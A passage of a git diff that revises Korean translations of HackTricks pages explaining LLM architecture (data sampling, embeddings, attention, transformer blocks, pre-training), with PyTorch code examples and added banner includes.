model import urllib.request @@ -93,3 +95,6 @@ print(token_ids[:50]) ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index c96a7f148..aaf5ec042 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -1,28 +1,30 @@ # 2. 데이터 샘플링 +{{#include /banners/hacktricks-training.md}} + ## **데이터 샘플링** **데이터 샘플링**은 GPT와 같은 대형 언어 모델(LLM)을 훈련하기 위한 데이터 준비 과정에서 중요한 단계입니다. 이는 모델이 이전 단어를 기반으로 다음 단어(또는 토큰)를 예측하는 방법을 학습하는 데 사용하는 입력 및 목표 시퀀스로 텍스트 데이터를 구성하는 것을 포함합니다. 적절한 데이터 샘플링은 모델이 언어 패턴과 의존성을 효과적으로 포착하도록 보장합니다. > [!TIP] -> 이 두 번째 단계의 목표는 매우 간단합니다: **입력 데이터를 샘플링하고 훈련 단계에 맞게 준비하는 것으로, 일반적으로 데이터셋을 특정 길이의 문장으로 분리하고 예상 응답도 생성하는 것입니다.** +> 이 두 번째 단계의 목표는 매우 간단합니다: **입력 데이터를 샘플링하고 훈련 단계에 준비하는 것으로, 일반적으로 데이터셋을 특정 길이의 문장으로 분리하고 예상 응답도 생성합니다.** ### **데이터 샘플링의 중요성** -GPT와 같은 LLM은 이전 단어가 제공하는 맥락을 이해하여 텍스트를 생성하거나 예측하도록 훈련됩니다. 이를 달성하기 위해 훈련 데이터는 모델이 단어 시퀀스와 그 후속 단어 간의 관계를 학습할 수 있는 방식으로 구조화되어야 합니다. 이러한 구조화된 접근 방식은 모델이 일반화하고 일관되며 맥락에 맞는 텍스트를 생성할 수 있도록 합니다. +GPT와 같은 LLM은 이전 단어가 제공하는 맥락을 이해하여 텍스트를 생성하거나 예측하도록 훈련됩니다. 이를 달성하기 위해 훈련 데이터는 모델이 단어 시퀀스와 그 후속 단어 간의 관계를 학습할 수 있도록 구조화되어야 합니다. 이러한 구조화된 접근 방식은 모델이 일반화하고 일관되며 맥락에 적합한 텍스트를 생성할 수 있게 합니다. ### **데이터 샘플링의 주요 개념** -1. **토큰화:** 텍스트를 토큰(예: 단어, 하위 단어 또는 문자)이라고 하는 더 작은 단위로 나누는 과정. +1. **토큰화:** 텍스트를 토큰(예: 단어, 하위 단어 또는 문자)이라는 더 작은 단위로 나누는 과정. 2. **시퀀스 길이 (max_length):** 각 입력 시퀀스의 토큰 수. -3. **슬라이딩 윈도우:** 토큰화된 텍스트 위에 창을 이동시켜 겹치는 입력 시퀀스를 생성하는 방법. -4. **스트라이드:** 슬라이딩 윈도우가 다음 시퀀스를 생성하기 위해 앞으로 이동하는 토큰 수. +3. **슬라이딩 윈도우:** 토큰화된 텍스트 위에 윈도우를 이동시켜 겹치는 입력 시퀀스를 생성하는 방법. +4. **스트라이드:** 다음 시퀀스를 생성하기 위해 슬라이딩 윈도우가 앞으로 이동하는 토큰 수. -### **단계별 예제** +### **단계별 예시** -데이터 샘플링을 설명하기 위해 예제를 살펴보겠습니다. +데이터 샘플링을 설명하기 위해 예시를 살펴보겠습니다. -**예제 텍스트** +**예시 텍스트** ```arduino "Lorem ipsum dolor sit amet, consectetur adipiscing elit." ``` @@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807], ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index 36aaf2a39..4e0439df9 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -1,11 +1,13 @@ # 3. Token Embeddings +{{#include /banners/hacktricks-training.md}} + ## Token Embeddings 텍스트 데이터를 토큰화한 후, GPT와 같은 대형 언어 모델(LLMs)을 훈련하기 위한 데이터 준비의 다음 중요한 단계는 **토큰 임베딩**을 생성하는 것입니다. 토큰 임베딩은 이산 토큰(예: 단어 또는 하위 단어)을 모델이 처리하고 학습할 수 있는 연속적인 수치 벡터로 변환합니다. 이 설명은 토큰 임베딩, 초기화, 사용법 및 토큰 시퀀스에 대한 모델 이해를 향상시키는 위치 임베딩의 역할을 분해합니다. > [!TIP] -> 이 세 번째 단계의 목표는 매우 간단합니다: **어휘의 이전 각 토큰에 원하는 차원의 벡터를 할당하여 모델을 훈련시키는 것입니다.** 어휘의 각 단어는 X 차원의 공간에서 한 점이 됩니다.\ +> 이 세 번째 단계의 목표는 매우 간단합니다: **어휘의 이전 각 토큰에 모델을 훈련하기 위해 원하는 차원의 벡터를 할당합니다.** 어휘의 각 단어는 X 차원의 공간에서 한 점이 됩니다.\ > 각 단어의 초기 위치는 "무작위로" 초기화되며, 이러한 위치는 훈련 가능한 매개변수입니다(훈련 중에 개선됩니다). > > 또한, 토큰 임베딩 동안 **또 다른 임베딩 레이어가 생성됩니다**. 이는 (이 경우) **훈련 문장에서 단어의 절대 위치를 나타냅니다**. 이렇게 하면 문장에서 다른 위치에 있는 단어는 다른 표현(의미)을 갖게 됩니다. @@ -14,7 +16,7 @@ **Token Embeddings**는 연속 벡터 공간에서 토큰의 수치적 표현입니다. 어휘의 각 토큰은 고정된 차원의 고유한 벡터와 연결됩니다. 이러한 벡터는 토큰에 대한 의미적 및 구문적 정보를 캡처하여 모델이 데이터의 관계와 패턴을 이해할 수 있도록 합니다. -- **Vocabulary Size:** 모델의 어휘에 있는 고유한 토큰의 총 수(예: 단어, 하위 단어). +- **Vocabulary Size:** 모델의 어휘에 있는 고유한 토큰(예: 단어, 하위 단어)의 총 수. - **Embedding Dimensions:** 각 토큰의 벡터에 있는 수치 값(차원)의 수. 더 높은 차원은 더 미세한 정보를 캡처할 수 있지만 더 많은 계산 자원을 요구합니다. **Example:** @@ -72,7 +74,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) ### **훈련 중 토큰 임베딩 작동 방식** -훈련 중에 입력 데이터의 각 토큰은 해당 임베딩 벡터로 변환됩니다. 이러한 벡터는 주의 메커니즘 및 신경망 레이어와 같은 모델 내의 다양한 계산에 사용됩니다. +훈련 중에 입력 데이터의 각 토큰은 해당 임베딩 벡터로 변환됩니다. 이러한 벡터는 모델 내의 다양한 계산, 예를 들어 주의 메커니즘 및 신경망 층에서 사용됩니다. **예시 시나리오:** @@ -127,24 +129,24 @@ cssCopy codeBatch ### **위치 임베딩이 필요한 이유:** -- **토큰 순서의 중요성:** 문장에서 의미는 종종 단어의 순서에 따라 달라집니다. 예를 들어, "고양이가 매트 위에 앉았다"와 "매트가 고양이 위에 앉았다." -- **임베딩 한계:** 위치 정보가 없으면 모델은 토큰을 "단어의 가방"으로 취급하여 그 순서를 무시합니다. +- **토큰 순서가 중요함:** 문장에서 의미는 종종 단어의 순서에 따라 달라집니다. 예를 들어, "고양이가 매트 위에 앉았다"와 "매트가 고양이 위에 앉았다." +- **임베딩 한계:** 위치 정보가 없으면 모델은 토큰을 "단어의 가방"으로 취급하여 그들의 순서를 무시합니다. ### **위치 임베딩의 유형:** 1. **절대 위치 임베딩:** - 시퀀스의 각 위치에 고유한 위치 벡터를 할당합니다. - **예시:** 어떤 시퀀스의 첫 번째 토큰은 동일한 위치 임베딩을 가지며, 두 번째 토큰은 다른 위치 임베딩을 가집니다. -- **사용 예:** OpenAI의 GPT 모델. +- **사용하는 모델:** OpenAI의 GPT 모델. 2. **상대 위치 임베딩:** - 절대 위치 대신 토큰 간의 상대적 거리를 인코딩합니다. -- **예시:** 두 토큰이 얼마나 떨어져 있는지를 나타내며, 시퀀스 내의 절대 위치와는 관계없이 표시합니다. -- **사용 예:** Transformer-XL 및 BERT의 일부 변형 모델. +- **예시:** 두 토큰이 얼마나 떨어져 있는지를 나타내며, 그들의 절대 위치와는 관계없이 표시합니다. +- **사용하는 모델:** Transformer-XL 및 BERT의 일부 변형. ### **위치 임베딩의 통합 방법:** - **동일한 차원:** 위치 임베딩은 토큰 임베딩과 동일한 차원을 가집니다. -- **덧셈:** 위치 임베딩은 토큰 임베딩에 추가되어 토큰의 정체성과 위치 정보를 결합하지만 전체 차원은 증가하지 않습니다. +- **덧셈:** 위치 임베딩은 토큰 임베딩에 추가되어 토큰의 정체성과 위치 정보를 결합하지만 전체 차원을 증가시키지는 않습니다. **위치 임베딩 추가 예시:** @@ -157,7 +159,7 @@ Combined Embedding = Token Embedding + Positional Embedding **위치 임베딩의 이점:** - **맥락 인식:** 모델은 토큰의 위치에 따라 구분할 수 있습니다. -- **시퀀스 이해:** 모델이 문법, 구문 및 맥락에 따라 달라지는 의미를 이해할 수 있게 합니다. +- **시퀀스 이해:** 모델이 문법, 구문 및 맥락에 의존하는 의미를 이해할 수 있게 합니다. ## 코드 예제 @@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256]) ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index 5d87b8c93..78e1961f8 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -1,11 +1,13 @@ # 4. Attention Mechanisms +{{#include /banners/hacktricks-training.md}} + ## Attention Mechanisms and Self-Attention in Neural Networks Attention mechanisms allow neural networks to f**ocus on specific parts of the input when generating each part of the output**. They assign different weights to different inputs, helping the model decide which inputs are most relevant to the task at hand. This is crucial in tasks like machine translation, where understanding the context of the entire sentence is necessary for accurate translation. > [!TIP] -> 이 네 번째 단계의 목표는 매우 간단합니다: **일부 주의 메커니즘을 적용하세요**. 이것들은 **어휘의 단어와 현재 LLM을 훈련하는 데 사용되는 문장에서의 이웃 간의 관계를 포착하는 많은 **반복된 레이어**가 될 것입니다.**\ +> 이 네 번째 단계의 목표는 매우 간단합니다: **일부 주의 메커니즘을 적용하세요**. 이는 **어휘의 단어와 현재 LLM 훈련에 사용되는 문장에서의 이웃 간의 관계를 포착하는 많은 **반복 레이어**가 될 것입니다.**\ > 이를 위해 많은 레이어가 사용되므로 많은 학습 가능한 매개변수가 이 정보를 포착하게 됩니다. ### Understanding Attention Mechanisms @@ -39,7 +41,7 @@ Our goal is to compute the **context vector** for the word **"shiny"** using sel #### Step 1: Compute Attention Scores > [!TIP] -> 각 차원 값을 쿼리의 관련 값과 곱하고 결과를 더하세요. 각 토큰 쌍에 대해 1개의 값을 얻습니다. +> 각 차원 값을 쿼리와 각 토큰의 관련 값과 곱하고 결과를 더하세요. 각 토큰 쌍에 대해 1개의 값을 얻습니다. For each word in the sentence, compute the **attention score** with respect to "shiny" by calculating the dot product of their embeddings. @@ -58,8 +60,8 @@ For each word in the sentence, compute the **attention score** with respect to " #### Step 2: Normalize Attention Scores to Obtain Attention Weights > [!TIP] -> 수학적 용어에 휘말리지 마세요, 이 함수의 목표는 간단합니다, 모든 가중치를 정규화하여 **총합이 1이 되도록** 합니다.\ -> 게다가, **softmax** 함수는 지수 부분 때문에 차이를 강조하여 유용한 값을 감지하기 쉽게 만듭니다. +> 수학적 용어에 휘말리지 마세요, 이 함수의 목표는 간단합니다. 모든 가중치를 정규화하여 **총합이 1이 되도록** 하세요.\ +> 또한, **softmax** 함수는 지수 부분으로 인해 차이를 강조하므로 유용한 값을 감지하기 쉽게 만듭니다. Apply the **softmax function** to the attention scores to convert them into attention weights that sum to 1. @@ -67,7 +69,7 @@ Apply the **softmax function** to the attention scores to convert them into atte Calculating the exponentials: -
+
Calculating the sum: @@ -162,7 +164,7 @@ values = torch.matmul(inputs, W_value) **Scale the Scores** -내적이 너무 커지는 것을 방지하기 위해, 키 차원 `dk`​의 제곱근으로 점수를 스케일링합니다: +내적이 너무 커지는 것을 방지하기 위해, 키 차원 `dk`​의 제곱근으로 점수를 스케일합니다:
@@ -229,7 +231,7 @@ LLM에서는 모델이 현재 위치 이전에 나타나는 토큰만 고려하 ### 인과적 주의 마스크 적용 -인과적 주의를 구현하기 위해, 우리는 소프트맥스 연산 **이전**에 주의 점수에 마스크를 적용하여 나머지 점수가 여전히 1이 되도록 합니다. 이 마스크는 미래 토큰의 주의 점수를 음의 무한대로 설정하여 소프트맥스 이후에 그들의 주의 가중치가 0이 되도록 보장합니다. +인과적 주의를 구현하기 위해, 우리는 소프트맥스 연산 **이전**에 주의 점수에 마스크를 적용하여 나머지 점수의 합이 여전히 1이 되도록 합니다. 이 마스크는 미래 토큰의 주의 점수를 음의 무한대로 설정하여, 소프트맥스 이후에 그들의 주의 가중치가 0이 되도록 보장합니다. **단계** @@ -249,16 +251,16 @@ attention_weights = torch.softmax(masked_scores, dim=-1) ### 드롭아웃으로 추가 주의 가중치 마스킹 -**과적합을 방지하기 위해**, 소프트맥스 연산 후 주의 가중치에 **드롭아웃**을 적용할 수 있습니다. 드롭아웃은 학습 중에 **일부 주의 가중치를 무작위로 0으로 만듭니다**. +**과적합을 방지하기 위해**, 소프트맥스 연산 이후에 주의 가중치에 **드롭아웃**을 적용할 수 있습니다. 드롭아웃은 학습 중에 **일부 주의 가중치를 무작위로 0으로 만듭니다**. ```python dropout = nn.Dropout(p=0.5) attention_weights = dropout(attention_weights) ``` -정기적인 드롭아웃은 약 10-20%입니다. +정상적인 드롭아웃 비율은 약 10-20%입니다. -### Code Example +### 코드 예제 -Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): +코드 예제는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): ```python import torch import torch.nn as nn @@ -322,11 +324,11 @@ print("context_vecs.shape:", context_vecs.shape) ``` ## Single-Head Attention을 Multi-Head Attention으로 확장하기 -**Multi-head attention**은 실제로 **자기 주의 함수**의 **여러 인스턴스**를 실행하는 것으로 구성되며, 각 인스턴스는 **자신의 가중치**를 가지고 있어 서로 다른 최종 벡터가 계산됩니다. +**Multi-head attention**은 실질적으로 **자기 주의 함수**의 **여러 인스턴스**를 실행하는 것으로 구성되며, 각 인스턴스는 **자신의 가중치**를 가지고 있어 서로 다른 최종 벡터가 계산됩니다. ### 코드 예제 -이전 코드를 재사용하고 여러 번 실행하는 래퍼를 추가하는 것이 가능할 수 있지만, 이는 모든 헤드를 동시에 처리하는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb)에서 제공하는 더 최적화된 버전입니다(비용이 많이 드는 for 루프의 수를 줄임). 코드에서 볼 수 있듯이, 각 토큰의 차원은 헤드 수에 따라 서로 다른 차원으로 나누어집니다. 이렇게 하면 토큰이 8차원을 가지고 있고 3개의 헤드를 사용하고자 할 경우, 차원은 4차원의 2개의 배열로 나누어지고 각 헤드는 그 중 하나를 사용하게 됩니다: +이전 코드를 재사용하고 여러 번 실행하는 래퍼를 추가하는 것이 가능할 수 있지만, 이는 모든 헤드를 동시에 처리하는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb)에서 더 최적화된 버전입니다 (비용이 많이 드는 for 루프의 수를 줄임). 코드에서 볼 수 있듯이 각 토큰의 차원은 헤드 수에 따라 서로 다른 차원으로 나뉩니다. 이렇게 하면 토큰이 8차원을 가지고 있고 3개의 헤드를 사용하고자 할 경우, 차원은 4차원의 2개의 배열로 나뉘고 각 헤드는 그 중 하나를 사용하게 됩니다: ```python class MultiHeadAttention(nn.Module): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): @@ -413,3 +415,6 @@ print("context_vecs.shape:", context_vecs.shape) ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index 3373cd7d7..77018a4b7 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -1,5 +1,7 @@ # 5. LLM Architecture +{{#include /banners/hacktricks-training.md}} + ## LLM Architecture > [!TIP] @@ -217,7 +219,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
> [!TIP] -> FeedForward 레이어 내의 선형 레이어 후에 이 함수를 사용하는 목적은 선형 데이터를 비선형으로 변경하여 모델이 복잡하고 비선형적인 관계를 학습할 수 있도록 하는 것입니다. +> FeedForward 레이어 내의 선형 레이어 후 이 함수를 사용하는 목적은 선형 데이터를 비선형으로 변경하여 모델이 복잡하고 비선형적인 관계를 학습할 수 있도록 하는 것입니다. ### **FeedForward 신경망** @@ -271,7 +273,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) > [!TIP] > 이 네트워크의 목표는 동일한 컨텍스트 내에서 토큰 간의 관계를 찾는 것입니다. 또한, 토큰은 과적합을 방지하기 위해 서로 다른 헤드로 나뉘지만, 각 헤드에서 발견된 최종 관계는 이 네트워크의 끝에서 결합됩니다. > -> 또한, 훈련 중에 **인과 마스크**가 적용되어 나중의 토큰이 특정 토큰과의 관계를 찾을 때 고려되지 않으며, **과적합 방지**를 위해 일부 **드롭아웃**도 적용됩니다. +> 또한, 훈련 중에는 **인과 마스크**가 적용되어 나중의 토큰이 특정 토큰과의 관계를 찾을 때 고려되지 않으며, **과적합 방지**를 위해 일부 **드롭아웃**도 적용됩니다. ### **레이어** 정규화 ```python @@ -291,20 +293,20 @@ return self.scale * norm_x + self.shift ``` #### **목적 및 기능** -- **Layer Normalization:** 배치의 각 개별 예제에 대해 특징(임베딩 차원) 전반에 걸쳐 입력을 정규화하는 데 사용되는 기술입니다. +- **레이어 정규화:** 배치의 각 개별 예제에 대해 특징(임베딩 차원) 전반에 걸쳐 입력을 정규화하는 데 사용되는 기술입니다. - **구성 요소:** - **`eps`:** 정규화 중 0으로 나누는 것을 방지하기 위해 분산에 추가되는 작은 상수(`1e-5`)입니다. - **`scale` 및 `shift`:** 정규화된 출력을 스케일하고 이동할 수 있도록 하는 학습 가능한 매개변수(`nn.Parameter`)입니다. 각각 1과 0으로 초기화됩니다. - **정규화 과정:** -- **평균 계산(`mean`):** 임베딩 차원(`dim=-1`)에 걸쳐 입력 `x`의 평균을 계산하며, 브로드캐스팅을 위해 차원을 유지합니다(`keepdim=True`). -- **분산 계산(`var`):** 임베딩 차원에 걸쳐 `x`의 분산을 계산하며, 차원을 유지합니다. `unbiased=False` 매개변수는 분산이 편향 추정기를 사용하여 계산되도록 보장합니다(샘플이 아닌 특징에 대해 정규화할 때 적합한 `N`으로 나누기). +- **평균 계산(`mean`):** 임베딩 차원(`dim=-1`)을 따라 입력 `x`의 평균을 계산하며, 브로드캐스팅을 위해 차원을 유지합니다(`keepdim=True`). +- **분산 계산(`var`):** 임베딩 차원에 따라 `x`의 분산을 계산하며, 차원도 유지합니다. `unbiased=False` 매개변수는 분산이 편향 추정기를 사용하여 계산되도록 보장합니다(샘플이 아닌 특징에 대해 정규화할 때 적합한 `N`으로 나누기). - **정규화(`norm_x`):** `x`에서 평균을 빼고 분산에 `eps`를 더한 값의 제곱근으로 나눕니다. - **스케일 및 이동:** 정규화된 출력에 학습 가능한 `scale` 및 `shift` 매개변수를 적용합니다. > [!TIP] > 목표는 동일한 토큰의 모든 차원에서 평균이 0이고 분산이 1이 되도록 하는 것입니다. 이는 **딥 뉴럴 네트워크의 훈련을 안정화**하기 위해 내부 공변량 이동을 줄이는 것을 목표로 하며, 이는 훈련 중 매개변수 업데이트로 인한 네트워크 활성화의 분포 변화와 관련이 있습니다. -### **Transformer Block** +### **트랜스포머 블록** _행렬의 형태를 더 잘 이해하기 위해 주석으로 추가되었습니다:_ ```python @@ -350,7 +352,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) - **층의 구성:** 다중 헤드 주의, 피드포워드 네트워크, 층 정규화 및 잔차 연결을 결합합니다. - **층 정규화:** 안정적인 훈련을 위해 주의 및 피드포워드 층 전에 적용됩니다. -- **잔차 연결 (단축):** 층의 입력을 출력에 추가하여 기울기 흐름을 개선하고 깊은 네트워크의 훈련을 가능하게 합니다. +- **잔차 연결 (단축키):** 층의 입력을 출력에 추가하여 그래디언트 흐름을 개선하고 깊은 네트워크의 훈련을 가능하게 합니다. - **드롭아웃:** 정규화를 위해 주의 및 피드포워드 층 후에 적용됩니다. #### **단계별 기능** @@ -370,9 +372,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim) > [!TIP] > 변환기 블록은 모든 네트워크를 함께 그룹화하고 훈련 안정성과 결과를 개선하기 위해 일부 **정규화** 및 **드롭아웃**을 적용합니다.\ -> 드롭아웃이 각 네트워크 사용 후에 수행되고 정규화가 이전에 적용된다는 점에 유의하십시오. +> 각 네트워크 사용 후 드롭아웃이 수행되고 정규화가 이전에 적용되는 방식을 주목하세요. > -> 또한, 네트워크의 출력을 입력과 **더하는** 단축을 사용합니다. 이는 초기 층이 마지막 층만큼 "많이" 기여하도록 하여 기울기 소실 문제를 방지하는 데 도움이 됩니다. +> 또한, **네트워크의 출력을 입력에 추가하는** 단축키를 사용합니다. 이는 초기 층이 마지막 층만큼 "많이" 기여하도록 하여 그래디언트 소실 문제를 방지하는 데 도움이 됩니다. ### **GPTModel** @@ -439,18 +441,18 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) - **드롭아웃 (`drop_emb`):** 정규화를 위해 임베딩에 적용됩니다. - **트랜스포머 블록 (`trf_blocks`):** 임베딩을 처리하기 위한 `n_layers` 트랜스포머 블록의 스택입니다. - **최종 정규화 (`final_norm`):** 출력 레이어 전에 레이어 정규화가 적용됩니다. -- **출력 레이어 (`out_head`):** 최종 은닉 상태를 어휘 크기로 프로젝션하여 예측을 위한 로짓을 생성합니다. +- **출력 레이어 (`out_head`):** 최종 은닉 상태를 어휘 크기로 투영하여 예측을 위한 로짓을 생성합니다. > [!TIP] > 이 클래스의 목표는 **시퀀스에서 다음 토큰을 예측하기 위해** 언급된 모든 다른 네트워크를 사용하는 것입니다. 이는 텍스트 생성과 같은 작업에 기본적입니다. > > 얼마나 많은 트랜스포머 블록이 사용될 것인지 **명시된 대로** 사용할 것인지 주목하십시오. 각 트랜스포머 블록은 하나의 다중 헤드 주의 네트워크, 하나의 피드 포워드 네트워크 및 여러 정규화를 사용합니다. 따라서 12개의 트랜스포머 블록이 사용되면 이를 12로 곱합니다. > -> 또한, **출력** 전에 **정규화** 레이어가 추가되고, 마지막에 적절한 차원의 결과를 얻기 위해 최종 선형 레이어가 적용됩니다. 각 최종 벡터의 크기가 사용된 어휘의 크기와 같다는 점에 주목하십시오. 이는 어휘 내의 가능한 각 토큰에 대한 확률을 얻으려는 것입니다. +> 또한, **출력** 전에 **정규화** 레이어가 추가되고, 마지막에 적절한 차원의 결과를 얻기 위해 최종 선형 레이어가 적용됩니다. 각 최종 벡터의 크기가 사용된 어휘의 크기와 같다는 점에 유의하십시오. 이는 어휘 내의 가능한 각 토큰에 대한 확률을 얻으려는 것입니다. ## 훈련할 매개변수 수 -GPT 구조가 정의되면 훈련할 매개변수 수를 파악할 수 있습니다: +GPT 구조가 정의되면 훈련할 매개변수 수를 알아낼 수 있습니다: ```python GPT_CONFIG_124M = { "vocab_size": 50257, # Vocabulary size @@ -507,7 +509,7 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808 qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 ``` -이러한 레이어가 3개 있으므로: +이러한 레이어가 세 개 있으므로: ```python total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 @@ -570,7 +572,7 @@ layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 ``` -**모든 트랜스포머 블록의 총 매개변수** +**모든 변환기 블록의 총 매개변수** ```python pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 @@ -664,3 +666,6 @@ print("Output length:", len(out[0])) ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index 5243e22fe..9417fbde7 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1,5 +1,7 @@ # 6. Pre-training & Loading models +{{#include /banners/hacktricks-training.md}} + ## Text Generation 모델을 훈련하기 위해서는 해당 모델이 새로운 토큰을 생성할 수 있어야 합니다. 그런 다음 생성된 토큰을 예상된 토큰과 비교하여 모델이 **생성해야 할 토큰을 학습하도록** 합니다. @@ -15,10 +17,10 @@ 올바른 토큰의 확률을 극대화하기 위해서는 모델의 가중치를 수정하여 그 확률이 극대화되도록 해야 합니다. 가중치의 업데이트는 **역전파**를 통해 이루어집니다. 이는 **극대화할 손실 함수**가 필요합니다. 이 경우, 함수는 **수행된 예측과 원하는 예측 간의 차이**가 됩니다. -그러나 원시 예측으로 작업하는 대신, n을 밑으로 하는 로그로 작업합니다. 따라서 예상된 토큰의 현재 예측이 7.4541e-05였다면, **7.4541e-05**의 자연 로그(밑 *e*)는 대략 **-9.5042**입니다.\ -예를 들어, 컨텍스트 길이가 5인 각 항목에 대해 모델은 5개의 토큰을 예측해야 하며, 첫 4개의 토큰은 입력의 마지막 토큰이고 다섯 번째는 예측된 토큰입니다. 따라서 각 항목에 대해 5개의 예측이 있게 되며(첫 4개가 입력에 있었더라도 모델은 이를 알지 못함) 5개의 예상 토큰과 따라서 5개의 확률을 극대화해야 합니다. +그러나 원시 예측으로 작업하는 대신, n을 밑으로 하는 로그로 작업합니다. 따라서 예상된 토큰의 현재 예측이 7.4541e-05라면, **7.4541e-05**의 자연 로그(밑 *e*)는 대략 **-9.5042**입니다.\ +그런 다음, 예를 들어 5개의 토큰으로 구성된 컨텍스트 길이를 가진 각 항목에 대해 모델은 5개의 토큰을 예측해야 하며, 첫 4개의 토큰은 입력의 마지막 토큰이고 다섯 번째는 예측된 토큰입니다. 따라서 각 항목에 대해 5개의 예측이 있으며(첫 4개가 입력에 있었더라도 모델은 이를 알지 못함) 5개의 예상 토큰이 있으므로 5개의 확률을 극대화해야 합니다. -따라서 각 예측에 자연 로그를 수행한 후, **평균**이 계산되고, **마이너스 기호가 제거**됩니다(이를 _교차 엔트로피 손실_이라고 함) 그리고 그것이 **0에 최대한 가깝게 줄여야 할 숫자**입니다. 왜냐하면 1의 자연 로그는 0이기 때문입니다: +따라서 각 예측에 자연 로그를 수행한 후, **평균**이 계산되고, **마이너스 기호가 제거**됩니다(이를 _교차 엔트로피 손실_이라고 함) 그리고 이는 **0에 최대한 가깝게 줄여야 할 숫자**입니다. 왜냐하면 1의 자연 로그는 0이기 때문입니다:

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

@@ -31,7 +33,7 @@
-여기서 사용된 이전 코드지만 이미 이전 섹션에서 설명됨 +여기서 사용된 이전 코드지만 이전 섹션에서 이미 설명됨 ```python """ This is code explained before so it won't be exaplained @@ -541,14 +543,14 @@ return tokenizer.decode(flat.tolist()) ``` ### 텍스트 생성 함수 -이전 섹션에서는 **가장 가능성이 높은 토큰**을 로짓을 얻은 후에 가져오는 함수가 있었습니다. 그러나 이는 각 입력에 대해 항상 동일한 출력을 생성하게 되어 매우 결정적입니다. +이전 섹션에서는 **가장 가능성이 높은 토큰**을 로짓을 얻은 후에 가져오는 함수가 있었습니다. 그러나 이는 각 입력에 대해 항상 동일한 출력이 생성된다는 것을 의미하며, 이는 매우 결정적입니다. 다음 `generate_text` 함수는 `top-k`, `temperature` 및 `multinomial` 개념을 적용합니다. -- **`top-k`**는 상위 k개의 토큰을 제외한 모든 토큰의 확률을 `-inf`로 줄이기 시작한다는 것을 의미합니다. 따라서 k=3인 경우, 결정을 내리기 전에 가장 가능성이 높은 3개의 토큰만 `-inf`가 아닌 확률을 가집니다. +- **`top-k`**는 상위 k개의 토큰을 제외한 모든 토큰의 확률을 `-inf`로 줄이기 시작한다는 것을 의미합니다. 따라서 k=3인 경우, 결정을 내리기 전에 가장 가능성이 높은 3개의 토큰만 `-inf`와 다른 확률을 가집니다. - **`temperature`**는 모든 확률이 온도 값으로 나누어진다는 것을 의미합니다. 값이 `0.1`이면 가장 높은 확률이 가장 낮은 확률에 비해 개선되며, 예를 들어 온도가 `5`이면 더 평평해집니다. 이는 LLM이 가지길 